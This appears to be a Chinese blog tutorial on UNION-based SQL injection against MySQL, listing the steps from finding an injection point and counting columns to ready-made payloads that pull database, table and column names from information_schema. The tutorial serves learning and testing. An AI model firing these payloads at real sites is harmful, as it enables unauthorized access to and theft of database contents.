zoukankan      html  css  js  c++  java
  • sql注入之union注入

    联合查询注入利用的前提: 必须要有回显

    联合查询过程:

    1. 判断是否存在注入点
    2. 判断是什么类型注入(字符型or数字型)
    3. 判断闭合方式
    4. 查询列数个数(order by)
      5, 获得数据库名
    5. 获得表名
    6. 获得字段名

    1. 判断是否存在注入点 可以用(')单引号显示数据库错误信息或者页面回显不同
    2. 判断什么类型(字符型or数字型) 用and 1=1和and 1=2  如果页面没有变化说明不是数字型 ,如果有明显变化说明是数字型
    3. 判断闭合方式 单引号or双引号..看报错信息、
    4. 判断列数个数(order by) order by在mysql中查询结果是按照指定字段进行排序的,例如数据库中有3个字段,order by查询就是1,2,3
    5. 查看数据库信息and获得数据库名 使用group_concat() 
    	基本语句:
        
        1' union select 1,(select database()),3--+
    
        1' union select 1,(select group_concat(schema_name) from information_schema.schemata) --+
    
    
    
    
    6. 获得表名
    	基本语句:
    
        0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
    
    
    
    
    
    7. 获得字段名
    	基本语句:
    
        0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='表名'),3 --+
  • 相关阅读:
    Centos 设置默认路由得优先级
    openstack-NUMA排错记录
    openstack -新建project
    As3 常用日期工具
    As3 计算两个日期之间的天数差
    解决Asp.net Mvc返回JsonResult中DateTime类型数据格式的问题
    网盘+SVN
    SQL 并发-转
    工作目录
    Cookie
  • 原文地址:https://www.cnblogs.com/zjhzjhhh/p/14129088.html
Copyright © 2011-2022 走看看